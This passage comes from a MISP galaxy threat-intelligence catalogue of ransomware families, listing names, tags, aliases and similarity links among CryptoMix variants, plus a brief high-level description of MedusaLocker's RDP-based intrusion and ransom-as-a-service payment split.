• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-x1881**

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoMix-x1881"`

CryptoMix-x1881 is also known as:
• x1881 CryptoMix

View relationships graph

CryptoMix-x1881 has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-XZZX**

Ransomware

The tag is: `misp-galaxy:ransomware="CryptoMix-XZZX"`

CryptoMix-XZZX is also known as:

• XZZX CryptoMix

View relationships graph

CryptoMix-XZZX has relationships with:

• similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

**CryptoMix-Zayka**

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Zayka"*
CryptoMix-Zayka is also known as:

- Zayka CryptoMix

**View relationships graph**

CryptoMix-Zayka has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"

Crypton
Ransomware

The tag is: misp-galaxy:ransomware="Crypton"

CryptoPatronum
Ransomware

The tag is: misp-galaxy:ransomware="CryptoPatronum"

CryptoPokemon
Ransomware

The tag is: misp-galaxy:ransomware="CryptoPokemon"

CryptorBit
Ransomware

The tag is: misp-galaxy:ransomware="CryptorBit"

CryptoShield 2.0
Ransomware
The tag is: `misp-galaxy:ransomware="CryptoShield 2.0"`

**CryptoSpider**
Ransomware

The tag is: `misp-galaxy:ransomware="CryptoSpider"`

**CryptoViki**
Ransomware

The tag is: `misp-galaxy:ransomware="CryptoViki"`

**Cryptre**
Ransomware

The tag is: `misp-galaxy:ransomware="Cryptre"`

**CrypTron**
Ransomware

The tag is: `misp-galaxy:ransomware="CrypTron"`

**Crysis XTBL**
Ransomware

The tag is: `misp-galaxy:ransomware="Crysis XTBL"`

**Crystal**
Ransomware

The tag is: `misp-galaxy:ransomware="Crystal"`

**CrystalCrypt**
Ransomware

The tag is: `misp-galaxy:ransomware="CrystalCrypt"`

**CryTekk**
Ransomware
The tag is: misp-galaxy:ransomware="CryTekk"

CSP
Ransomware
The tag is: misp-galaxy:ransomware="CSP"

CTB-Locker Original
Ransomware
The tag is: misp-galaxy:ransomware="CTB-Locker Original"

CTF
Ransomware
The tag is: misp-galaxy:ransomware="CTF"

Curumim
Ransomware
The tag is: misp-galaxy:ransomware="Curumim"

CVLocker
Ransomware
The tag is: misp-galaxy:ransomware="CVLocker"

Cyber Police HT
Ransomware
The tag is: misp-galaxy:ransomware="Cyber Police HT"

CyberDrill2
Ransomware
The tag is: misp-galaxy:ransomware="CyberDrill2"

CyberResearcher
Ransomware
The tag is: misp-galaxy:ransomware="CyberResearcher"

CyberSCCP
Ransomware
The tag is: misp-galaxy:ransomware="CyberSCCP"

CyberSoldier
Ransomware
The tag is: misp-galaxy:ransomware="CyberSoldier"

Cyclone
Ransomware
The tag is: misp-galaxy:ransomware="Cyclone"

CypherPy
Ransomware
The tag is: misp-galaxy:ransomware="CypherPy"

Cyspt
Ransomware
The tag is: misp-galaxy:ransomware="Cyspt"

Czech
Ransomware
The tag is: misp-galaxy:ransomware="Czech"

D00mEd
Ransomware
The tag is: misp-galaxy:ransomware="D00mEd"

D2+D
Ransomware
The tag is: misp-galaxy:ransomware="D2+D"

**DarkKomet**
Ransomware

The tag is: misp-galaxy:ransomware="DarkKomet"

**DarkLocker**
Ransomware

The tag is: misp-galaxy:ransomware="DarkLocker"

**DarkoderCryptor**
Ransomware

The tag is: misp-galaxy:ransomware="DarkoderCryptor"

**DataKeeper**
Ransomware

The tag is: misp-galaxy:ransomware="DataKeeper"

**Datebatut**
Ransomware

The tag is: misp-galaxy:ransomware="Datebatut"

**DCRTR**
Ransomware

The tag is: misp-galaxy:ransomware="DCRTR"

**DCRTR-WDM**
Ransomware

The tag is: misp-galaxy:ransomware="DCRTR-WDM"

**DCry**
Ransomware
The tag is: misp-galaxy:ransomware="DCry"

**DDE**

Ransomware

The tag is: misp-galaxy:ransomware="DDE"

**DeadSec-Crypto**

Ransomware

The tag is: misp-galaxy:ransomware="DeadSec-Crypto"

**DeathHiddenTear (Large&Small HT) >**

Ransomware

The tag is: misp-galaxy:ransomware="DeathHiddenTear (Large&Small HT) >"

**DeathNote**

Ransomware

The tag is: misp-galaxy:ransomware="DeathNote"

**DeathRansom**

Ransomware

The tag is: misp-galaxy:ransomware="DeathRansom"

**DecryptIomega**

Ransomware

The tag is: misp-galaxy:ransomware=" DecryptIomega"

**Decryption Assistant**

Ransomware

The tag is: misp-galaxy:ransomware=" Decryption Assistant"

**DecService**

Ransomware
DecYourData

Ransomware

The tag is: misp-galaxy:ransomware="DecYourData"

Defender

Ransomware

The tag is: misp-galaxy:ransomware="Defender"

Defray (Glushkov)

Ransomware

The tag is: misp-galaxy:ransomware="Defray (Glushkov)"

Deos

Ransomware

The tag is: misp-galaxy:ransomware="Deos"

Desktop

Ransomware

The tag is: misp-galaxy:ransomware="Desktop"

Diamond

Ransomware

The tag is: misp-galaxy:ransomware="Diamond"

DilmaLocker

Ransomware

The tag is: misp-galaxy:ransomware="DilmaLocker"

Dishwasher

Ransomware
The tag is: 

**District**
Ransomware

The tag is: 

**DMA Locker 1.0-2.0-3.0**
Ransomware

The tag is: 

**DMA Locker 4.0**
Ransomware

The tag is: 

**DMALocker Imposter**
Ransomware

The tag is: 

**Dodger**
Ransomware

The tag is: 

**DolphinTear**
Ransomware

The tag is: 

**Donald Trump**
Ransomware

The tag is: 

**Donation1**
Ransomware
The tag is: `misp-galaxy:ransomware="Donation1"`

**Done**

Ransomware

The tag is: `misp-galaxy:ransomware="Done"`

**Dont_Worry**

Ransomware

The tag is: `misp-galaxy:ransomware="Dont_Worry"`

**DotNoData**

Ransomware

The tag is: `misp-galaxy:ransomware="DotNoData"`

**DotZeroCMD**

Ransomware

The tag is: `misp-galaxy:ransomware="DotZeroCMD"`

**Dr. Fucker**

Ransomware

The tag is: `misp-galaxy:ransomware="Dr. Fucker"`

**Dr. Jimbo**

Ransomware

The tag is: `misp-galaxy:ransomware="Dr. Jimbo"`

**Drakos**

Ransomware

The tag is: `misp-galaxy:ransomware="Drakos"`

**DriedSister**

Ransomware
The tag is: misp-galaxy:ransomware="DriedSister"

Dviide
Ransomware

The tag is: misp-galaxy:ransomware="Dviide"

eBayWall
Ransomware

The tag is: misp-galaxy:ransomware="eBayWall"

EbolaRnsmwr
Ransomware

The tag is: misp-galaxy:ransomware="EbolaRnsmwr"

ECLR
Ransomware

The tag is: misp-galaxy:ransomware="ECLR"

EggLocker
Ransomware

The tag is: misp-galaxy:ransomware="EggLocker"

Ekati demo tool
Ransomware

The tag is: misp-galaxy:ransomware="Ekati demo tool"

Enc1
Ransomware

The tag is: misp-galaxy:ransomware="Enc1"

EncoderCSL
Ransomware
The tag is: `misp-galaxy:ransomware="EncoderCSL"`

**EnCrypt**

Ransomware

The tag is: `misp-galaxy:ransomware="EnCrypt"`

**EncryptedBatch**

Ransomware

The tag is: `misp-galaxy:ransomware="EncryptedBatch"`

**EncryptServer2018**

Ransomware

The tag is: `misp-galaxy:ransomware="EncryptServer2018"`

**EnybenyCrypt**

Ransomware

The tag is: `misp-galaxy:ransomware="EnybenyCrypt"`

**EOEO**

Ransomware

The tag is: `misp-galaxy:ransomware="EOEO"`

**Epoblockl**

Ransomware

The tag is: `misp-galaxy:ransomware="Epoblockl"`

**Erica2020**

Ransomware

The tag is: `misp-galaxy:ransomware="Erica2020"`

**Eris**

Ransomware
Estemani
Ransomware

The tag is: misp-galaxy:ransomware="Estemani"

Eternal
Ransomware

The tag is: misp-galaxy:ransomware="Eternal"

Eternity
Ransomware

The tag is: misp-galaxy:ransomware="Eternity"

Euclid
Ransomware

The tag is: misp-galaxy:ransomware="Euclid"

Evasive HT
Ransomware

The tag is: misp-galaxy:ransomware="Evasive HT"

Evolution
Ransomware

The tag is: misp-galaxy:ransomware="Evolution"

Executioner
Ransomware

The tag is: misp-galaxy:ransomware="Executioner"

ExecutionerPlus
Ransomware
**Exocrypt XTC**

Ransomware

The tag is: `misp-galaxy:ransomware="Exocrypt XTC"`

**ExoLock**

Ransomware

The tag is: `misp-galaxy:ransomware="ExoLock"`

**ExpBoot**

Ransomware

The tag is: `misp-galaxy:ransomware="ExpBoot"`

**Explorer**

Ransomware

The tag is: `misp-galaxy:ransomware="Explorer"`

**Extortion Scam**

Ransomware

The tag is: `misp-galaxy:ransomware="Extortion Scam"`

Extortion Scam is also known as:

- Sextortion Scam

**Extractor**

Ransomware

The tag is: `misp-galaxy:ransomware="Extractor"`

**EyLamo**

Ransomware

The tag is: `misp-galaxy:ransomware="EyLamo"`
EZDZ
Ransomware
The tag is: misp-galaxy:ransomware="EZDZ"

Fabiansomware
Ransomware
The tag is: misp-galaxy:ransomware="Fabiansomware"

Facebook HT
Ransomware
The tag is: misp-galaxy:ransomware="Facebook HT"

Faizal
Ransomware
The tag is: misp-galaxy:ransomware="Faizal"

Fake Cerber
Ransomware
The tag is: misp-galaxy:ransomware="Fake Cerber"

Fake DMA
Ransomware
The tag is: misp-galaxy:ransomware="Fake DMA"

FartPlz
Ransomware
The tag is: misp-galaxy:ransomware="FartPlz"

FBLocker
Ransomware
The tag is: misp-galaxy:ransomware="FBLocker"
FCP
ransomware

The tag is: misp-galaxy:ransomware="FCP"

FCrypt
ransomware

The tag is: misp-galaxy:ransomware="FCrypt"

FCT
ransomware

The tag is: misp-galaxy:ransomware="FCT"

Fenrir
ransomware

The tag is: misp-galaxy:ransomware="Fenrir"

File Ripper
ransomware

The tag is: misp-galaxy:ransomware="File Ripper"

FileFuck
ransomware

The tag is: misp-galaxy:ransomware="FileFuck"

FilesL0cker
ransomware

The tag is: misp-galaxy:ransomware="FilesL0cker"

Final
ransomware

The tag is: misp-galaxy:ransomware="Final"
FindZip
ransomware
The tag is: misp-galaxy:ransomware="FindZip"

Flatcher3
ransomware
The tag is: misp-galaxy:ransomware="Flatcher3"

Fluffy-TAR
ransomware
The tag is: misp-galaxy:ransomware="Fluffy-TAR"

Foxy
ransomware
The tag is: misp-galaxy:ransomware="Foxy"

FreeMe
ransomware
The tag is: misp-galaxy:ransomware="FreeMe"

Freshdesk
ransomware
The tag is: misp-galaxy:ransomware="Freshdesk"

Frog
ransomware
The tag is: misp-galaxy:ransomware="Frog"

FrozrLock
ransomware
The tag is: misp-galaxy:ransomware="FrozrLock"
FRS

ransomware

The tag is: misp-galaxy:ransomware="FRS"

FScrypt

ransomware

The tag is: misp-galaxy:ransomware="FScrypt"

FuckTheSystem

ransomware

The tag is: misp-galaxy:ransomware="FuckTheSystem"

FuxSocy Encryptor

ransomware

The tag is: misp-galaxy:ransomware="FuxSocy Encryptor"

Galacti-Crypter

ransomware

The tag is: misp-galaxy:ransomware="Galacti-Crypter"

GameOver

ransomware

The tag is: misp-galaxy:ransomware="GameOver"

Geminis3

ransomware

The tag is: misp-galaxy:ransomware="Geminis3"

Gendarmerie

ransomware

The tag is: misp-galaxy:ransomware="Gendarmerie"
Genobot

ransomware

The tag is: misp-galaxy:ransomware="Genobot"

GermanWiper

ransomware

The tag is: misp-galaxy:ransomware="GermanWiper"

GhosTEncryptor

ransomware

The tag is: misp-galaxy:ransomware="GhosTEncryptor"

GhostHammer

ransomware

The tag is: misp-galaxy:ransomware="GhostHammer"

Gibberish

ransomware

The tag is: misp-galaxy:ransomware="Gibberish"

Gibon

ransomware

The tag is: misp-galaxy:ransomware="Gibon"

Giyotin

ransomware

The tag is: misp-galaxy:ransomware="Giyotin"

GoCryptoLocker

ransomware

The tag is: misp-galaxy:ransomware="GoCryptoLocker"
Godra
ransomware
The tag is: `misp-galaxy:ransomware="Godra"`

GoGoogle
ransomware
The tag is: `misp-galaxy:ransomware="GoGoogle"`

GoHack
ransomware
The tag is: `misp-galaxy:ransomware="GoHack"`

Golden Axe
ransomware
The tag is: `misp-galaxy:ransomware="Golden Axe"`

Gomme
ransomware
The tag is: `misp-galaxy:ransomware="Gomme"`

GonnaCry Ransmware
ransomware
The tag is: `misp-galaxy:ransomware="GonnaCry Ransmware"`

Goofed HT
ransomware
The tag is: `misp-galaxy:ransomware="Goofed HT"`

GoRansom POC
ransomware
The tag is: `misp-galaxy:ransomware="GoRansom POC"`
Gorgon
ransomware
The tag is: misp-galaxy:ransomware="Gorgon"

Gotcha
ransomware
The tag is: misp-galaxy:ransomware="Gotcha"

GottaCry
ransomware
The tag is: misp-galaxy:ransomware="GottaCry"

GPAA
ransomware
The tag is: misp-galaxy:ransomware="GPAA"

GPGQwerty
ransomware
The tag is: misp-galaxy:ransomware="GPGQwerty"

Craftul
ransomware
The tag is: misp-galaxy:ransomware="Craftul"

Greystars
ransomware
The tag is: misp-galaxy:ransomware="Greystars"

GrodexCrypt
ransomware
The tag is: misp-galaxy:ransomware="GrodexCrypt"
GrujaRSorium

ransomware

The tag is: misp-galaxy:ransomware="GrujaRSorium"

Gruxer

ransomware

The tag is: misp-galaxy:ransomware="Gruxer"

GusCrypter

ransomware

The tag is: misp-galaxy:ransomware="GusCrypter"

GX40

ransomware

The tag is: misp-galaxy:ransomware="GX40"

H34rtBl33d

ransomware

The tag is: misp-galaxy:ransomware="H34rtBl33d"

HackdoorCrypt3r

ransomware

The tag is: misp-galaxy:ransomware="HackdoorCrypt3r"

Hades

ransomware

The tag is: misp-galaxy:ransomware="Hades"

View relationships graph

Hades has relationships with:

- similar: misp-galaxy:ransomware="WildFire Locker" with estimative-language:likelihood-probability="likely"
Hakbit

ransomware

The tag is: misp-galaxy:ransomware="Hakbit"

HappyCrypter

ransomware

The tag is: misp-galaxy:ransomware="HappyCrypter"

Haze

ransomware

The tag is: misp-galaxy:ransomware="Haze"

HCrypto

ransomware

The tag is: misp-galaxy:ransomware="HCrypto"

HELP@AUSI

ransomware

The tag is: misp-galaxy:ransomware="HELP@AUSI"

HelpDCFile

ransomware

The tag is: misp-galaxy:ransomware="HelpDCFile"

HelpMe

ransomware

The tag is: misp-galaxy:ransomware="HelpMe"

Hermes837

ransomware

The tag is: misp-galaxy:ransomware="Hermes837"
HermesVirus HT
ransomware
The tag is: misp-galaxy:ransomware="HermesVirus HT"

Heropoint
ransomware
The tag is: misp-galaxy:ransomware="Heropoint"

HiddenBeer
ransomware
The tag is: misp-galaxy:ransomware="HiddenBeer"

Honor
ransomware
The tag is: misp-galaxy:ransomware="Honor"

Horros
ransomware
The tag is: misp-galaxy:ransomware="Horros"

Hydra
ransomware
The tag is: misp-galaxy:ransomware="Hydra"

View relationships graph
Hydra has relationships with:

• similar: misp-galaxy:ransomware="Bianlian" with estimative-language:likelihood-probability="likely"

IGotYou
ransomware
The tag is: misp-galaxy:ransomware="IGotYou"
iGZa4C

ransomware

The tag is: misp-galaxy:ransomware="iGZa4C"

ILElection2020

ransomware

The tag is: misp-galaxy:ransomware="ILElection2020"

Ims00ry

ransomware

The tag is: misp-galaxy:ransomware="Ims00ry"

ImSorry

ransomware

The tag is: misp-galaxy:ransomware="ImSorry"

Incanto

ransomware

The tag is: misp-galaxy:ransomware="Incanto"

Indrik

ransomware

The tag is: misp-galaxy:ransomware="Indrik"

InducVirus

ransomware

The tag is: misp-galaxy:ransomware="InducVirus"

InfinityLock

ransomware

The tag is: misp-galaxy:ransomware="InfinityLock"
InfoDot
ransomware
The tag is: misp-galaxy:ransomware="InfoDot"

INPIVX
ransomware
The tag is: misp-galaxy:ransomware="INPIVX"

InsaneCrypt
ransomware
The tag is: misp-galaxy:ransomware="InsaneCrypt"

IPA
ransomware
The tag is: misp-galaxy:ransomware="IPA"

IT. Books
ransomware
The tag is: misp-galaxy:ransomware="IT. Books"

J-
ransomware
The tag is: misp-galaxy:ransomware="J-

JabaCrypter
ransomware
The tag is: misp-galaxy:ransomware="JabaCrypter"

Jaffe
ransomware
The tag is: misp-galaxy:ransomware="Jaffe"
James  
ransomware  
The tag is: misp-galaxy:ransomware="James"

Java NotDharma  
ransomware  
The tag is: misp-galaxy:ransomware="Java NotDharma"

jCandy  
ransomware  
The tag is: misp-galaxy:ransomware="jCandy"

JeepersCrypt  
ransomware  
The tag is: misp-galaxy:ransomware="JeepersCrypt"

Jemd  
ransomware  
The tag is: misp-galaxy:ransomware="Jemd"

JesusCrypt  
ransomware  
The tag is: misp-galaxy:ransomware="JesusCrypt"

JNEC.a  
ransomware  
The tag is: misp-galaxy:ransomware="JNEC.a"

JoeGo  
ransomware  
The tag is: misp-galaxy:ransomware="JoeGo"
Jolly Roger
ransomware
The tag is: misp-galaxy:ransomware="Jolly Roger"

JosepCrypt
ransomware
The tag is: misp-galaxy:ransomware="JosepCrypt"

Juwon
ransomware
The tag is: misp-galaxy:ransomware="Juwon"

Kali
ransomware
The tag is: misp-galaxy:ransomware="Kali"

Kamil
ransomware
The tag is: misp-galaxy:ransomware="Kamil"

Kampret
ransomware
The tag is: misp-galaxy:ransomware="Kampret"

Karo
ransomware
The tag is: misp-galaxy:ransomware="Karo"

Katafrank
ransomware
The tag is: misp-galaxy:ransomware="Katafrank"
Katyusha
ransomware
The tag is: misp-galaxy:ransomware="Katyusha"

KCTF Locker
ransomware
The tag is: misp-galaxy:ransomware="KCTF Locker"

KCW
ransomware
The tag is: misp-galaxy:ransomware="KCW"

Kee
ransomware
The tag is: misp-galaxy:ransomware="Kee"

KEKW
ransomware
The tag is: misp-galaxy:ransomware="KEKW"

Kerkoporta
ransomware
The tag is: misp-galaxy:ransomware="Kerkoporta"

KeyMaker
ransomware
The tag is: misp-galaxy:ransomware="KeyMaker"

KillBot_Virus
ransomware
The tag is: misp-galaxy:ransomware="KillBot_Virus"
KillDisk-Dimens

ransomware

The tag is: misp-galaxy:ransomware="KillDisk-Dimens"

KillRabbit

ransomware

The tag is: misp-galaxy:ransomware="KillRabbit"

KillSwitch

ransomware

The tag is: misp-galaxy:ransomware="KillSwitch"

Kindest

ransomware

The tag is: misp-galaxy:ransomware="Kindest"

KKK

ransomware

The tag is: misp-galaxy:ransomware="KKK"

Kovter

ransomware

The tag is: misp-galaxy:ransomware="Kovter"

Kriptovor

ransomware

The tag is: misp-galaxy:ransomware="Kriptovor"

Krypte

ransomware

The tag is: misp-galaxy:ransomware="Krypte"
Krypton

ransomware

The tag is: misp-galaxy:ransomware="Krypton"

Kryptonite RBY

ransomware

The tag is: misp-galaxy:ransomware="Kryptonite RBY"

Kryptonite Snake

ransomware

The tag is: misp-galaxy:ransomware="Kryptonite Snake"

Kupidon

ransomware

The tag is: misp-galaxy:ransomware="Kupidon"

Ladon

ransomware

The tag is: misp-galaxy:ransomware="Ladon"

Lalabitch_ransomware

ransomware

The tag is: misp-galaxy:ransomware="Lalabitch_ransomware"

LazagneCrypt

ransomware

The tag is: misp-galaxy:ransomware="LazagneCrypt"

Light

ransomware

The tag is: misp-galaxy:ransomware="Light"
LightningCrypt
ransomware
The tag is: misp-galaxy:ransomware="LightningCrypt"

LIGMA
ransomware
The tag is: misp-galaxy:ransomware="LIGMA"

Lime
ransomware
The tag is: misp-galaxy:ransomware="Lime"

Litra
ransomware
The tag is: misp-galaxy:ransomware="Litra"

LittleFinger
ransomware
The tag is: misp-galaxy:ransomware="LittleFinger"

LMAOxUS
ransomware
The tag is: misp-galaxy:ransomware="LMAOxUS"

LockBox
ransomware
The tag is: misp-galaxy:ransomware="LockBox"

Locked_File
ransomware
The tag is: misp-galaxy:ransomware="Locked_File"
**LockedByte**

ransomware

The tag is: `misp-galaxy:ransomware="LockedByte"`

**Locker-Pay**

ransomware

The tag is: `misp-galaxy:ransomware="Locker-Pay"`

**Lockify**

ransomware

The tag is: `misp-galaxy:ransomware="Lockify"`

**LockMe**

ransomware

The tag is: `misp-galaxy:ransomware="LockMe"`

**LockOn**

ransomware

The tag is: `misp-galaxy:ransomware="LockOn"`

**Lockout**

ransomware

The tag is: `misp-galaxy:ransomware="Lockout"`

**LongTermMemoryLoss**

ransomware

The tag is: `misp-galaxy:ransomware="LongTermMemoryLoss"`

**LonleyCrypt**

ransomware

The tag is: `misp-galaxy:ransomware="LonleyCrypt"`
LooCipher
ransomware
The tag is: misp-galaxy:ransomware="LooCipher"

LordOfShadow
ransomware
The tag is: misp-galaxy:ransomware="LordOfShadow"

Losers
ransomware
The tag is: misp-galaxy:ransomware="Losers"

Losers-Dangerous
ransomware
The tag is: misp-galaxy:ransomware="Losers-Dangerous"

Lost_Files
ransomware
The tag is: misp-galaxy:ransomware="Lost_Files"

LuckyJoe
ransomware
The tag is: misp-galaxy:ransomware="LuckyJoe"

Luxnut
ransomware
The tag is: misp-galaxy:ransomware="Luxnut"

Madafakah
ransomware
The tag is: misp-galaxy:ransomware="Madafakah"
MadBit
ransomware
The tag is: misp-galaxy:ransomware="MadBit"

Magician
ransomware
The tag is: misp-galaxy:ransomware="Magician"

Malabu
ransomware
The tag is: misp-galaxy:ransomware="Malabu"

MalwareTech’s CTF
ransomware
The tag is: misp-galaxy:ransomware="MalwareTech’s CTF"

Mancros+AI4939
ransomware
The tag is: misp-galaxy:ransomware="Mancros+AI4939"

Maoloa
ransomware
The tag is: misp-galaxy:ransomware="Maoloa"

Marozka
ransomware
The tag is: misp-galaxy:ransomware="Marozka"

MarraCrypt
ransomware
The tag is: misp-galaxy:ransomware="MarraCrypt"
Matroska

ransomware

The tag is: misp-galaxy:ransomware="Matroska"

MauriGo

ransomware

The tag is: misp-galaxy:ransomware="MauriGo"

MaxiCrypt

ransomware

The tag is: misp-galaxy:ransomware="MaxiCrypt"

Maykolin

ransomware

The tag is: misp-galaxy:ransomware="Maykolin"

Maysomware

ransomware

The tag is: misp-galaxy:ransomware="Maysomware"

MBR-ONI

ransomware

The tag is: misp-galaxy:ransomware="MBR-ONI"

MedusaLocker

Observed as recently as May 2022, MedusaLocker actors predominantly rely on vulnerabilities in Remote Desktop Protocol (RDP) to access victims’ networks. The MedusaLocker actors encrypt the victim’s data and leave a ransom note with communication instructions in every folder containing an encrypted file. The note directs victims to provide ransomware payments to a specific Bitcoin wallet address. MedusaLocker appears to operate as a Ransomware-as-a-Service (RaaS) model based on the observed split of ransom payments. Typical RaaS models involve the ransomware developer and various affiliates that deploy the ransomware on victim systems. MedusaLocker ransomware payments appear to be consistently split between the affiliate, who receives 55 to 60 percent of the ransom; and the developer, who receives the remainder.
The tag is: *misp-galaxy:ransomware=*"MedusaLocker"

### Table 7943. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
